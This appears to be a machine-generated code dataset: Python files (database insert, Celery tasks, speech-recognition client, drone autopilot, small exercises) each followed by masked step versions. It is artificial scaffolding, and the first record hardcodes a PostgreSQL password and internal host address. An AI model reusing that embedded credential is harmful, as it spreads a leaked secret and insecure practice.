values_list.append((\"testtest\",fjs))\n\ndef prosql():\n # values 后面直接%s\n hostname = '172.18.11.26'\n username = 'postgres'\n password = 'postgres_cnhis@#$'\n database = 'ai'\n conn = pg.connect(database=database, user=username, password=password, host=hostname, port=\"5432\")\n cursor = conn.cursor()\n procesV()\n sql = '''insert into ho_sysnc_third_customer_data(\"purchased_project_name\",\"fj_json\")\n values %s\n '''\n # 其中函数中的page_size参数默认为100，表示每个statement包含的最大条目数，\n # 如果传过来的argslist长度大于page_size,则该函数最多执行len(argslist)/page_size + 1次。\n ex.execute_values(cursor, sql, values_list, page_size=10000)\n conn.commit()\n\n conn.close()\n cursor.close()\n\n\n\n\nif __name__ =='__main__':\n prosql()\n # procesV()\n", "step-ids": [ 2, 4, 5, 6, 7 ] }	[ 2, 4, 5, 6, 7 ]
<\|reserved_special_token_0\|> <\|reserved_special_token_1\|> def raizCubica(numero): r = pow(numero, 1 / 3) return r <\|reserved_special_token_0\|> <\|reserved_special_token_1\|> def raizCubica(numero): r = pow(numero, 1 / 3) return r <\|reserved_special_token_0\|> for x in range(5): numeros.insert(x, float(input('Ingrese Numero: '))) raices.insert(x, round(raizCubica(numeros[x]), 3)) print('Numeros: ', numeros) print('Raices: ', raices) <\|reserved_special_token_1\|> def raizCubica(numero): r = pow(numero, 1 / 3) return r numeros = [] raices = [] for x in range(5): numeros.insert(x, float(input('Ingrese Numero: '))) raices.insert(x, round(raizCubica(numeros[x]), 3)) print('Numeros: ', numeros) print('Raices: ', raices) <\|reserved_special_token_1\|> def raizCubica(numero): r = pow(numero,(1/3)) return r numeros = [] raices = [] for x in range(5): numeros.insert(x, float(input("Ingrese Numero: "))) raices.insert(x, round(raizCubica(numeros[x]),3)) print("Numeros: ", numeros) print("Raices: ", raices)	flexible	{ "blob_id": "180f7f0ade9770c6669680bd13ac8f2fd55cc8c7", "index": 357, "step-1": "<mask token>\n", "step-2": "def raizCubica(numero):\n r = pow(numero, 1 / 3)\n return r\n\n\n<mask token>\n", "step-3": "def raizCubica(numero):\n r = pow(numero, 1 / 3)\n return r\n\n\n<mask token>\nfor x in range(5):\n numeros.insert(x, float(input('Ingrese Numero: ')))\n raices.insert(x, round(raizCubica(numeros[x]), 3))\nprint('Numeros: ', numeros)\nprint('Raices: ', raices)\n", "step-4": "def raizCubica(numero):\n r = pow(numero, 1 / 3)\n return r\n\n\nnumeros = []\nraices = []\nfor x in range(5):\n numeros.insert(x, float(input('Ingrese Numero: ')))\n raices.insert(x, round(raizCubica(numeros[x]), 3))\nprint('Numeros: ', numeros)\nprint('Raices: ', raices)\n", "step-5": "def raizCubica(numero):\n r = pow(numero,(1/3))\n return r\n\nnumeros = []\nraices = []\n\nfor x in range(5):\n numeros.insert(x, float(input(\"Ingrese Numero: \")))\n raices.insert(x, round(raizCubica(numeros[x]),3))\n\nprint(\"Numeros: \", numeros)\nprint(\"Raices: \", raices)", "step-ids": [ 0, 1, 2, 3, 4 ] }	[ 0, 1, 2, 3, 4 ]
from adventurelib import * from horror import * from dating import * from popquiz import * from comedy import * from island import * start()	normal	{ "blob_id": "8a37299154aded37147e1650cbf52a5cdf7d91da", "index": 4225, "step-1": "<mask token>\n", "step-2": "<mask token>\nstart()\n", "step-3": "from adventurelib import \nfrom horror import \nfrom dating import \nfrom popquiz import \nfrom comedy import \nfrom island import \nstart()\n", "step-4": null, "step-5": null, "step-ids": [ 0, 1, 2 ] }	[ 0, 1, 2 ]
from tasks import video_compress, video_upload if __name__ == '__main__': video_compress.apply_async(["a"],queue='high') video_compress.apply_async(["b"],queue='low') video_upload.apply_async(["c"], queue='low') video_upload.apply_async(["d"], queue='high')	normal	{ "blob_id": "2cd7d4fe87de66e85bc0d060e2eaa68be39eed02", "index": 9461, "step-1": "<mask token>\n", "step-2": "<mask token>\nif __name__ == '__main__':\n video_compress.apply_async(['a'], queue='high')\n video_compress.apply_async(['b'], queue='low')\n video_upload.apply_async(['c'], queue='low')\n video_upload.apply_async(['d'], queue='high')\n", "step-3": "from tasks import video_compress, video_upload\nif __name__ == '__main__':\n video_compress.apply_async(['a'], queue='high')\n video_compress.apply_async(['b'], queue='low')\n video_upload.apply_async(['c'], queue='low')\n video_upload.apply_async(['d'], queue='high')\n", "step-4": "from tasks import video_compress, video_upload\nif __name__ == '__main__':\n video_compress.apply_async([\"a\"],queue='high')\n video_compress.apply_async([\"b\"],queue='low')\n video_upload.apply_async([\"c\"], queue='low')\n video_upload.apply_async([\"d\"], queue='high')\n", "step-5": null, "step-ids": [ 0, 1, 2, 3 ] }	[ 0, 1, 2, 3 ]
from django import forms class UploadForm(forms.Form): file = forms.FileField(label="Json с данными об отправлении")	normal	{ "blob_id": "0878bfa1151371ff3aaa59f8be5ea9af74ada331", "index": 4978, "step-1": "<mask token>\n", "step-2": "<mask token>\n\n\nclass UploadForm(forms.Form):\n <mask token>\n", "step-3": "<mask token>\n\n\nclass UploadForm(forms.Form):\n file = forms.FileField(label='Json с данными об отправлении')\n", "step-4": "from django import forms\n\n\nclass UploadForm(forms.Form):\n file = forms.FileField(label='Json с данными об отправлении')\n", "step-5": "from django import forms\n\n\nclass UploadForm(forms.Form):\n file = forms.FileField(label=\"Json с данными об отправлении\")\n", "step-ids": [ 0, 1, 2, 3, 4 ] }	[ 0, 1, 2, 3, 4 ]
import spacy nlp = spacy.load("en_core_web_sm") text = ( "Chick-fil-A is an American fast food restaurant chain headquartered in " "the city of College Park, Georgia, specializing in chicken sandwiches." ) # Disable the tagger and parser with ____.____(____): # Process the text doc = ____ # Print the entities in the doc print(____)	normal	{ "blob_id": "6eecf0ff1ad762089db6e9498e906e68b507370c", "index": 1875, "step-1": "<mask token>\n", "step-2": "<mask token>\nwith ____.____(____):\n doc = ____\n print(____)\n", "step-3": "<mask token>\nnlp = spacy.load('en_core_web_sm')\ntext = (\n 'Chick-fil-A is an American fast food restaurant chain headquartered in the city of College Park, Georgia, specializing in chicken sandwiches.'\n )\nwith ____.____(____):\n doc = ____\n print(____)\n", "step-4": "import spacy\nnlp = spacy.load('en_core_web_sm')\ntext = (\n 'Chick-fil-A is an American fast food restaurant chain headquartered in the city of College Park, Georgia, specializing in chicken sandwiches.'\n )\nwith ____.____(____):\n doc = ____\n print(____)\n", "step-5": "import spacy\n\nnlp = spacy.load(\"en_core_web_sm\")\ntext = (\n \"Chick-fil-A is an American fast food restaurant chain headquartered in \"\n \"the city of College Park, Georgia, specializing in chicken sandwiches.\"\n)\n\n# Disable the tagger and parser\nwith ____.____(____):\n # Process the text\n doc = ____\n # Print the entities in the doc\n print(____)\n", "step-ids": [ 0, 1, 2, 3, 4 ] }	[ 0, 1, 2, 3, 4 ]
# -- coding: utf-8 -- """Transcoder with TOSHIBA RECAIUS API.""" import threading import queue import time import numpy as np from logzero import logger import requests import model.key AUTH_URL = 'https://api.recaius.jp/auth/v2/tokens' VOICE_URL = 'https://api.recaius.jp/asr/v2/voices' class Transcoder: """Transcoder Class.""" def __init__(self): """Constructor.""" logger.info('__init__:Enter') self._token = None self.transcript = None self._queue = queue.Queue() def start(self, token): """Start recognition.""" logger.info('start:Enter') self._token = token threading.Thread(target=self._process).start() def write_stream(self, buf): """Write audio stream.""" self._queue.put(buf) def _process(self): logger.info('_process:Enter') token = self._authenticate()['token'] uuid = self._start_recognition(token)['uuid'] logger.info('start transcode') i = 1 while True: arr = self._stream_generator() if(arr is None): break # logger.debug(f'{len(arr)} , {self._queue.qsize()}') inline = np.hstack(arr) arr_bytes = inline.tobytes('C') header = { 'Content-Type': 'multipart/form-data', 'X-Token': token } files = { 'voice_id': ('', i, ''), 'voice': ('', arr_bytes, 'application/octet-stream') } resp = requests.put( f'{VOICE_URL}/{uuid}', headers=header, files=files) if(resp.status_code == 200): logger.debug(resp.json()) result = resp.json()[0] if(result[0] == 'TMP_RESULT' or result[0] == 'RESULT'): self._write_result(result[1]) i = i + 1 self._flush_recognition(uuid, token, i) while True: if(self._get_result(uuid, token) is None): break time.sleep(0.1) self._end_recognition(uuid, token) logger.info('end transcode') def _authenticate(self): speechrecog_jajp_id = model.key.RECAIUS_ID speechrecog_jajp_password = model.key.RECAIUS_PASSWORD param = { "speech_recog_jaJP": { 'service_id': speechrecog_jajp_id, 'password': speechrecog_jajp_password } } return requests.post(AUTH_URL, json=param).json() def _flush_recognition(self, uuid, token, i): header = { 'Content-Type': 'application/json', 'X-Token': token } param = { 'voice_id': i, } resp = requests.put( f'{VOICE_URL}/{uuid}/flush', headers=header, json=param) if(resp.status_code == 200): logger.debug(f'frush result:{resp.json()}') return resp.json() else: logger.debug(f'flush result(status:{resp.status_code})') def _get_result(self, uuid, token): header = { 'X-Token': token } resp = requests.get(f'{VOICE_URL}/{uuid}/results', headers=header) if(resp.status_code == 200): logger.debug(f'get result:{resp.json()}') return resp.json() else: logger.debug(f'get result(status:{resp.status_code})') def _stream_generator(self): arr = [] while True: try: v = self._queue.get_nowait() # print(v) if v is None: return None arr.append((v * 32767).astype(np.int16)) except queue.Empty: if(len(arr) != 0): break else: time.sleep(0.1) return arr def _start_recognition(self, token): header = { 'Content-Type': 'application/json', 'X-Token': token } param = { 'model_id': 1 } return requests.post(VOICE_URL, headers=header, json=param).json() def _end_recognition(self, uuid, token): header = { 'X-Token': token } resp = requests.delete(f'{VOICE_URL}/{uuid}', headers=header) if(resp.status_code == 204): logger.debug(f'delete result(status:{resp.status_code})') def _write_result(self, transcipt): self.transcript = transcipt	normal	{ "blob_id": "421b0c1871350ff541b4e56d1e18d77016884552", "index": 5199, "step-1": "<mask token>\n\n\nclass Transcoder:\n <mask token>\n\n def __init__(self):\n \"\"\"Constructor.\"\"\"\n logger.info('__init__:Enter')\n self._token = None\n self.transcript = None\n self._queue = queue.Queue()\n\n def start(self, token):\n \"\"\"Start recognition.\"\"\"\n logger.info('start:Enter')\n self._token = token\n threading.Thread(target=self._process).start()\n <mask token>\n\n def _process(self):\n logger.info('_process:Enter')\n token = self._authenticate()['token']\n uuid = self._start_recognition(token)['uuid']\n logger.info('start transcode')\n i = 1\n while True:\n arr = self._stream_generator()\n if arr is None:\n break\n inline = np.hstack(arr)\n arr_bytes = inline.tobytes('C')\n header = {'Content-Type': 'multipart/form-data', 'X-Token': token}\n files = {'voice_id': ('', i, ''), 'voice': ('', arr_bytes,\n 'application/octet-stream')}\n resp = requests.put(f'{VOICE_URL}/{uuid}', headers=header,\n files=files)\n if resp.status_code == 200:\n logger.debug(resp.json())\n result = resp.json()[0]\n if result[0] == 'TMP_RESULT' or result[0] == 'RESULT':\n self._write_result(result[1])\n i = i + 1\n self._flush_recognition(uuid, token, i)\n while True:\n if self._get_result(uuid, token) is None:\n break\n time.sleep(0.1)\n self._end_recognition(uuid, token)\n logger.info('end transcode')\n\n def _authenticate(self):\n speechrecog_jajp_id = model.key.RECAIUS_ID\n speechrecog_jajp_password = model.key.RECAIUS_PASSWORD\n param = {'speech_recog_jaJP': {'service_id': speechrecog_jajp_id,\n 'password': speechrecog_jajp_password}}\n return requests.post(AUTH_URL, json=param).json()\n\n def _flush_recognition(self, uuid, token, i):\n header = {'Content-Type': 'application/json', 'X-Token': token}\n param = {'voice_id': i}\n resp = requests.put(f'{VOICE_URL}/{uuid}/flush', headers=header,\n json=param)\n if resp.status_code == 200:\n logger.debug(f'frush result:{resp.json()}')\n return resp.json()\n else:\n logger.debug(f'flush result(status:{resp.status_code})')\n <mask token>\n <mask token>\n\n def _start_recognition(self, token):\n header = {'Content-Type': 'application/json', 'X-Token': token}\n param = {'model_id': 1}\n return requests.post(VOICE_URL, headers=header, json=param).json()\n\n def _end_recognition(self, uuid, token):\n header = {'X-Token': token}\n resp = requests.delete(f'{VOICE_URL}/{uuid}', headers=header)\n if resp.status_code == 204:\n logger.debug(f'delete result(status:{resp.status_code})')\n\n def _write_result(self, transcipt):\n self.transcript = transcipt\n", "step-2": "<mask token>\n\n\nclass Transcoder:\n <mask token>\n\n def __init__(self):\n \"\"\"Constructor.\"\"\"\n logger.info('__init__:Enter')\n self._token = None\n self.transcript = None\n self._queue = queue.Queue()\n\n def start(self, token):\n \"\"\"Start recognition.\"\"\"\n logger.info('start:Enter')\n self._token = token\n threading.Thread(target=self._process).start()\n\n def write_stream(self, buf):\n \"\"\"Write audio stream.\"\"\"\n self._queue.put(buf)\n\n def _process(self):\n logger.info('_process:Enter')\n token = self._authenticate()['token']\n uuid = self._start_recognition(token)['uuid']\n logger.info('start transcode')\n i = 1\n while True:\n arr = self._stream_generator()\n if arr is None:\n break\n inline = np.hstack(arr)\n arr_bytes = inline.tobytes('C')\n header = {'Content-Type': 'multipart/form-data', 'X-Token': token}\n files = {'voice_id': ('', i, ''), 'voice': ('', arr_bytes,\n 'application/octet-stream')}\n resp = requests.put(f'{VOICE_URL}/{uuid}', headers=header,\n files=files)\n if resp.status_code == 200:\n logger.debug(resp.json())\n result = resp.json()[0]\n if result[0] == 'TMP_RESULT' or result[0] == 'RESULT':\n self._write_result(result[1])\n i = i + 1\n self._flush_recognition(uuid, token, i)\n while True:\n if self._get_result(uuid, token) is None:\n break\n time.sleep(0.1)\n self._end_recognition(uuid, token)\n logger.info('end transcode')\n\n def _authenticate(self):\n speechrecog_jajp_id = model.key.RECAIUS_ID\n speechrecog_jajp_password = model.key.RECAIUS_PASSWORD\n param = {'speech_recog_jaJP': {'service_id': speechrecog_jajp_id,\n 'password': speechrecog_jajp_password}}\n return requests.post(AUTH_URL, json=param).json()\n\n def _flush_recognition(self, uuid, token, i):\n header = {'Content-Type': 'application/json', 'X-Token': token}\n param = {'voice_id': i}\n resp = requests.put(f'{VOICE_URL}/{uuid}/flush', headers=header,\n json=param)\n if resp.status_code == 200:\n logger.debug(f'frush result:{resp.json()}')\n return resp.json()\n else:\n logger.debug(f'flush result(status:{resp.status_code})')\n <mask token>\n <mask token>\n\n def _start_recognition(self, token):\n header = {'Content-Type': 'application/json', 'X-Token': token}\n param = {'model_id': 1}\n return requests.post(VOICE_URL, headers=header, json=param).json()\n\n def _end_recognition(self, uuid, token):\n header = {'X-Token': token}\n resp = requests.delete(f'{VOICE_URL}/{uuid}', headers=header)\n if resp.status_code == 204:\n logger.debug(f'delete result(status:{resp.status_code})')\n\n def _write_result(self, transcipt):\n self.transcript = transcipt\n", "step-3": "<mask token>\n\n\nclass Transcoder:\n <mask token>\n\n def __init__(self):\n \"\"\"Constructor.\"\"\"\n logger.info('__init__:Enter')\n self._token = None\n self.transcript = None\n self._queue = queue.Queue()\n\n def start(self, token):\n \"\"\"Start recognition.\"\"\"\n logger.info('start:Enter')\n self._token = token\n threading.Thread(target=self._process).start()\n\n def write_stream(self, buf):\n \"\"\"Write audio stream.\"\"\"\n self._queue.put(buf)\n\n def _process(self):\n logger.info('_process:Enter')\n token = self._authenticate()['token']\n uuid = self._start_recognition(token)['uuid']\n logger.info('start transcode')\n i = 1\n while True:\n arr = self._stream_generator()\n if arr is None:\n break\n inline = np.hstack(arr)\n arr_bytes = inline.tobytes('C')\n header = {'Content-Type': 'multipart/form-data', 'X-Token': token}\n files = {'voice_id': ('', i, ''), 'voice': ('', arr_bytes,\n 'application/octet-stream')}\n resp = requests.put(f'{VOICE_URL}/{uuid}', headers=header,\n files=files)\n if resp.status_code == 200:\n logger.debug(resp.json())\n result = resp.json()[0]\n if result[0] == 'TMP_RESULT' or result[0] == 'RESULT':\n self._write_result(result[1])\n i = i + 1\n self._flush_recognition(uuid, token, i)\n while True:\n if self._get_result(uuid, token) is None:\n break\n time.sleep(0.1)\n self._end_recognition(uuid, token)\n logger.info('end transcode')\n\n def _authenticate(self):\n speechrecog_jajp_id = model.key.RECAIUS_ID\n speechrecog_jajp_password = model.key.RECAIUS_PASSWORD\n param = {'speech_recog_jaJP': {'service_id': speechrecog_jajp_id,\n 'password': speechrecog_jajp_password}}\n return requests.post(AUTH_URL, json=param).json()\n\n def _flush_recognition(self, uuid, token, i):\n header = {'Content-Type': 'application/json', 'X-Token': token}\n param = {'voice_id': i}\n resp = requests.put(f'{VOICE_URL}/{uuid}/flush', headers=header,\n json=param)\n if resp.status_code == 200:\n logger.debug(f'frush result:{resp.json()}')\n return resp.json()\n else:\n logger.debug(f'flush result(status:{resp.status_code})')\n\n def _get_result(self, uuid, token):\n header = {'X-Token': token}\n resp = requests.get(f'{VOICE_URL}/{uuid}/results', headers=header)\n if resp.status_code == 200:\n logger.debug(f'get result:{resp.json()}')\n return resp.json()\n else:\n logger.debug(f'get result(status:{resp.status_code})')\n\n def _stream_generator(self):\n arr = []\n while True:\n try:\n v = self._queue.get_nowait()\n if v is None:\n return None\n arr.append((v * 32767).astype(np.int16))\n except queue.Empty:\n if len(arr) != 0:\n break\n else:\n time.sleep(0.1)\n return arr\n\n def _start_recognition(self, token):\n header = {'Content-Type': 'application/json', 'X-Token': token}\n param = {'model_id': 1}\n return requests.post(VOICE_URL, headers=header, json=param).json()\n\n def _end_recognition(self, uuid, token):\n header = {'X-Token': token}\n resp = requests.delete(f'{VOICE_URL}/{uuid}', headers=header)\n if resp.status_code == 204:\n logger.debug(f'delete result(status:{resp.status_code})')\n\n def _write_result(self, transcipt):\n self.transcript = transcipt\n", "step-4": "<mask token>\nAUTH_URL = 'https://api.recaius.jp/auth/v2/tokens'\nVOICE_URL = 'https://api.recaius.jp/asr/v2/voices'\n\n\nclass Transcoder:\n \"\"\"Transcoder Class.\"\"\"\n\n def __init__(self):\n \"\"\"Constructor.\"\"\"\n logger.info('__init__:Enter')\n self._token = None\n self.transcript = None\n self._queue = queue.Queue()\n\n def start(self, token):\n \"\"\"Start recognition.\"\"\"\n logger.info('start:Enter')\n self._token = token\n threading.Thread(target=self._process).start()\n\n def write_stream(self, buf):\n \"\"\"Write audio stream.\"\"\"\n self._queue.put(buf)\n\n def _process(self):\n logger.info('_process:Enter')\n token = self._authenticate()['token']\n uuid = self._start_recognition(token)['uuid']\n logger.info('start transcode')\n i = 1\n while True:\n arr = self._stream_generator()\n if arr is None:\n break\n inline = np.hstack(arr)\n arr_bytes = inline.tobytes('C')\n header = {'Content-Type': 'multipart/form-data', 'X-Token': token}\n files = {'voice_id': ('', i, ''), 'voice': ('', arr_bytes,\n 'application/octet-stream')}\n resp = requests.put(f'{VOICE_URL}/{uuid}', headers=header,\n files=files)\n if resp.status_code == 200:\n logger.debug(resp.json())\n result = resp.json()[0]\n if result[0] == 'TMP_RESULT' or result[0] == 'RESULT':\n self._write_result(result[1])\n i = i + 1\n self._flush_recognition(uuid, token, i)\n while True:\n if self._get_result(uuid, token) is None:\n break\n time.sleep(0.1)\n self._end_recognition(uuid, token)\n logger.info('end transcode')\n\n def _authenticate(self):\n speechrecog_jajp_id = model.key.RECAIUS_ID\n speechrecog_jajp_password = model.key.RECAIUS_PASSWORD\n param = {'speech_recog_jaJP': {'service_id': speechrecog_jajp_id,\n 'password': speechrecog_jajp_password}}\n return requests.post(AUTH_URL, json=param).json()\n\n def _flush_recognition(self, uuid, token, i):\n header = {'Content-Type': 'application/json', 'X-Token': token}\n param = {'voice_id': i}\n resp = requests.put(f'{VOICE_URL}/{uuid}/flush', headers=header,\n json=param)\n if resp.status_code == 200:\n logger.debug(f'frush result:{resp.json()}')\n return resp.json()\n else:\n logger.debug(f'flush result(status:{resp.status_code})')\n\n def _get_result(self, uuid, token):\n header = {'X-Token': token}\n resp = requests.get(f'{VOICE_URL}/{uuid}/results', headers=header)\n if resp.status_code == 200:\n logger.debug(f'get result:{resp.json()}')\n return resp.json()\n else:\n logger.debug(f'get result(status:{resp.status_code})')\n\n def _stream_generator(self):\n arr = []\n while True:\n try:\n v = self._queue.get_nowait()\n if v is None:\n return None\n arr.append((v * 32767).astype(np.int16))\n except queue.Empty:\n if len(arr) != 0:\n break\n else:\n time.sleep(0.1)\n return arr\n\n def _start_recognition(self, token):\n header = {'Content-Type': 'application/json', 'X-Token': token}\n param = {'model_id': 1}\n return requests.post(VOICE_URL, headers=header, json=param).json()\n\n def _end_recognition(self, uuid, token):\n header = {'X-Token': token}\n resp = requests.delete(f'{VOICE_URL}/{uuid}', headers=header)\n if resp.status_code == 204:\n logger.debug(f'delete result(status:{resp.status_code})')\n\n def _write_result(self, transcipt):\n self.transcript = transcipt\n", "step-5": "# -- coding: utf-8 --\n\"\"\"Transcoder with TOSHIBA RECAIUS API.\"\"\"\nimport threading\nimport queue\nimport time\n\nimport numpy as np\nfrom logzero import logger\nimport requests\n\nimport model.key\n\nAUTH_URL = 'https://api.recaius.jp/auth/v2/tokens'\nVOICE_URL = 'https://api.recaius.jp/asr/v2/voices'\n\n\nclass Transcoder:\n \"\"\"Transcoder Class.\"\"\"\n\n def __init__(self):\n \"\"\"Constructor.\"\"\"\n logger.info('__init__:Enter')\n self._token = None\n self.transcript = None\n self._queue = queue.Queue()\n\n def start(self, token):\n \"\"\"Start recognition.\"\"\"\n logger.info('start:Enter')\n self._token = token\n threading.Thread(target=self._process).start()\n\n def write_stream(self, buf):\n \"\"\"Write audio stream.\"\"\"\n self._queue.put(buf)\n\n def _process(self):\n logger.info('_process:Enter')\n token = self._authenticate()['token']\n uuid = self._start_recognition(token)['uuid']\n logger.info('start transcode')\n i = 1\n while True:\n arr = self._stream_generator()\n if(arr is None):\n break\n # logger.debug(f'{len(arr)} , {self._queue.qsize()}')\n inline = np.hstack(arr)\n arr_bytes = inline.tobytes('C')\n header = {\n 'Content-Type': 'multipart/form-data',\n 'X-Token': token\n }\n files = {\n 'voice_id': ('', i, ''),\n 'voice': ('', arr_bytes, 'application/octet-stream')\n }\n resp = requests.put(\n f'{VOICE_URL}/{uuid}', headers=header, files=files)\n if(resp.status_code == 200):\n logger.debug(resp.json())\n result = resp.json()[0]\n if(result[0] == 'TMP_RESULT' or result[0] == 'RESULT'):\n self._write_result(result[1])\n i = i + 1\n self._flush_recognition(uuid, token, i)\n while True:\n if(self._get_result(uuid, token) is None):\n break\n time.sleep(0.1)\n self._end_recognition(uuid, token)\n logger.info('end transcode')\n\n def _authenticate(self):\n speechrecog_jajp_id = model.key.RECAIUS_ID\n speechrecog_jajp_password = model.key.RECAIUS_PASSWORD\n param = {\n \"speech_recog_jaJP\": {\n 'service_id': speechrecog_jajp_id,\n 'password': speechrecog_jajp_password\n }\n }\n return requests.post(AUTH_URL, json=param).json()\n\n def _flush_recognition(self, uuid, token, i):\n header = {\n 'Content-Type': 'application/json',\n 'X-Token': token\n }\n param = {\n 'voice_id': i,\n }\n resp = requests.put(\n f'{VOICE_URL}/{uuid}/flush', headers=header, json=param)\n if(resp.status_code == 200):\n logger.debug(f'frush result:{resp.json()}')\n return resp.json()\n else:\n logger.debug(f'flush result(status:{resp.status_code})')\n\n def _get_result(self, uuid, token):\n header = {\n 'X-Token': token\n }\n resp = requests.get(f'{VOICE_URL}/{uuid}/results', headers=header)\n if(resp.status_code == 200):\n logger.debug(f'get result:{resp.json()}')\n return resp.json()\n else:\n logger.debug(f'get result(status:{resp.status_code})')\n\n def _stream_generator(self):\n arr = []\n while True:\n try:\n v = self._queue.get_nowait()\n # print(v)\n if v is None:\n return None\n arr.append((v * 32767).astype(np.int16))\n except queue.Empty:\n if(len(arr) != 0):\n break\n else:\n time.sleep(0.1)\n return arr\n\n def _start_recognition(self, token):\n header = {\n 'Content-Type': 'application/json',\n 'X-Token': token\n }\n param = {\n 'model_id': 1\n }\n return requests.post(VOICE_URL, headers=header, json=param).json()\n\n def _end_recognition(self, uuid, token):\n header = {\n 'X-Token': token\n }\n resp = requests.delete(f'{VOICE_URL}/{uuid}', headers=header)\n if(resp.status_code == 204):\n logger.debug(f'delete result(status:{resp.status_code})')\n\n def _write_result(self, transcipt):\n self.transcript = transcipt\n", "step-ids": [ 9, 10, 12, 14, 16 ] }	[ 9, 10, 12, 14, 16 ]
from zope import schema from zope import interface from zope import component from raptus.mailcone.rules_regex import _ from raptus.mailcone.rules import interfaces class IRegexItem(interfaces.IConditionItem): """ Interface for regex match filter """ regex = schema.TextLine(title=_('Regex'), required=True, description=_( 'a regular expression')) source = schema.Choice(title=_('Source'), vocabulary= 'raptus.mailcone.mails.mailattributes', required=True)	normal	{ "blob_id": "fe83b45bdc5970d63deab66b26b16752cd8ad8ef", "index": 7241, "step-1": "<mask token>\n\n\nclass IRegexItem(interfaces.IConditionItem):\n <mask token>\n <mask token>\n <mask token>\n", "step-2": "<mask token>\n\n\nclass IRegexItem(interfaces.IConditionItem):\n <mask token>\n regex = schema.TextLine(title=_('Regex'), required=True, description=_(\n 'a regular expression'))\n source = schema.Choice(title=_('Source'), vocabulary=\n 'raptus.mailcone.mails.mailattributes', required=True)\n", "step-3": "<mask token>\n\n\nclass IRegexItem(interfaces.IConditionItem):\n \"\"\" Interface for regex match filter\n \"\"\"\n regex = schema.TextLine(title=_('Regex'), required=True, description=_(\n 'a regular expression'))\n source = schema.Choice(title=_('Source'), vocabulary=\n 'raptus.mailcone.mails.mailattributes', required=True)\n", "step-4": "from zope import schema\nfrom zope import interface\nfrom zope import component\nfrom raptus.mailcone.rules_regex import _\nfrom raptus.mailcone.rules import interfaces\n\n\nclass IRegexItem(interfaces.IConditionItem):\n \"\"\" Interface for regex match filter\n \"\"\"\n regex = schema.TextLine(title=_('Regex'), required=True, description=_(\n 'a regular expression'))\n source = schema.Choice(title=_('Source'), vocabulary=\n 'raptus.mailcone.mails.mailattributes', required=True)\n", "step-5": null, "step-ids": [ 1, 2, 3, 4 ] }	[ 1, 2, 3, 4 ]
""" ___________________________________________________ \| _____ _____ _ _ _ \| \| \| __ \ \| __ (_) \| \| \| \| \| \| \|__) \|__ _ __ __ _ _ _\| \|__) \|\| \| ___ \| \|_ \| \| \| ___/ _ \ '_ \ / _` \| \| \| \| ___/ \| \|/ _ \\| __\| \| \| \| \| \| __/ \| \| \| (_\| \| \|_\| \| \| \| \| \| (_) \| \|_ \| \| \|_\| \___\|_\| \|_\|\__, \|\__,_\|_\| \|_\|_\|\___/ \__\| \| \| __/ \| \| \| GNU/Linux based \|___/ Multi-Rotor UAV Autopilot \| \|___________________________________________________\| Movement Activity Class Copyright (C) 2014 Tobias Simon, Integrated Communication Systems Group, TU Ilmenau This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. """ from math import hypot from time import sleep from util.geomath import LinearInterpolation from numpy import array, zeros from pilot_pb2 import * from activity import Activity, StabMixIn from util.geomath import gps_add_meters, gps_meters_offset from util.srtm import SrtmElevMap _srtm_elev_map = SrtmElevMap() class MoveActivity(Activity, StabMixIn): Z_SPEED_MAX = 2 SRTM_SAFETY_ALT = 20 def __init__(self, icarus): Activity.__init__(self, icarus) self.canceled = False def run(self): # shortcut identifiers: arg = self.icarus.arg move_data = arg.move_data pilot = self.icarus.pilot params = pilot.params fsm = self.icarus.fsm prev_setp_rel = self.icarus.setpoints start_gps = (params.start_lat, params.start_lon) prev_setp_gps = gps_add_meters(start_gps, prev_setp_rel[0 : 2]) # calculate target x, y, z and move coord = [None, None, None] # x, y, z setpoints if arg.glob: # set global lat, lon postion: glob_sp = [None, None, None] for i in xrange(3): name = 'p%d' % i if move_data.HasField(name): glob_sp[i] = getattr(move_data, name) print 'p0, p1, p2 = ', glob_sp if arg.rel: print 'glob, rel' # interpret lat, lon, alt as relative # covert previous x and y setpoints to rad, using start_lat, start_lon: gps = list(prev_setp_gps) for i in range(0, 2): if glob_sp[i] != None: gps[i] += glob_sp[i] # convert from wsg84 to relative: coord[0 : 2] = gps_meters_offset(start_gps, gps) # add z value: coord[2] = prev_setp_rel[2] if glob_sp[2] != None: coord[2] += glob_sp[2] else: print 'glob, abs' # interpret lat, lon, alt as absolute for i in range(0, 2): if glob_sp[i] == None: glob_sp[i] = prev_setp_gps[i] print start_gps, glob_sp[0 : 2] coord[0 : 2] = gps_meters_offset(start_gps, glob_sp[0 : 2]) if glob_sp[2] != None: coord[2] = glob_sp[2] - params.start_alt else: coord[2] = prev_setp_rel[2] else: # local position update: for i in xrange(3): name = 'p%d' % i if move_data.HasField(name): if arg.rel: print 'local, rel' # relative local coordinate: coord[i] = prev_setp_rel[i] + getattr(move_data, name) else: print 'local, abs' # absolute local coordinate: coord[i] = getattr(move_data, name) else: coord[i] = prev_setp_rel[i] print 'coord output:', coord self.icarus.setpoints = coord # set position pilot.set_ctrl_param(POS_E, coord[0]) pilot.set_ctrl_param(POS_N, coord[1]) """ # did the altitude change?: if coord[2] != prev_setp_rel[2]: # set up linear z interpolation between start and destination points: dist = hypot(prev_setp_rel[0] - coord[0], prev_setp_rel[1] - coord[1]) z_interp = LinearInterpolation(0.0, start_z, dist, coord[2]) # update z setpoint linearly between starting position and destination: target_dist = hypot(pilot.mon[5], pilot.mon[6]) while target_dist > self.LAT_STAB_EPSILON: sleep(1) if self.canceled: pilot.set_ctrl_param(POS_N, pilot.mon[0]) pilot.set_ctrl_param(POS_E, pilot.mon[1]) pilot.set_ctrl_param(POS_U, pilot.mon[2]) self.stabilize() return # not going into hovering state z = z_interp(dist - target_dist) # check elevation map: srtm_z = 1000.0 #_srtm_elev_map.lookup(lat, lon) - params.start_alt if z < srtm_alt + self.SRTM_SAFETY_ALT: z = srtm_alt + self.SRTM_SAFETY_ALT pilot.set_ctrl_param(POS_Z, z) """ self.stabilize() if not self.canceled: fsm.handle('done') def _cancel(self): self.canceled = True	normal	{ "blob_id": "81f49c55edff7678e9d1745e39a8370e2c31c9ea", "index": 8850, "step-1": "\"\"\"\n ___________________________________________________\n \| _____ _____ _ _ _ \|\n \| \| __ \\ \| __ (_) \| \| \| \|\n \| \| \|__) \|__ _ __ __ _ _ _\| 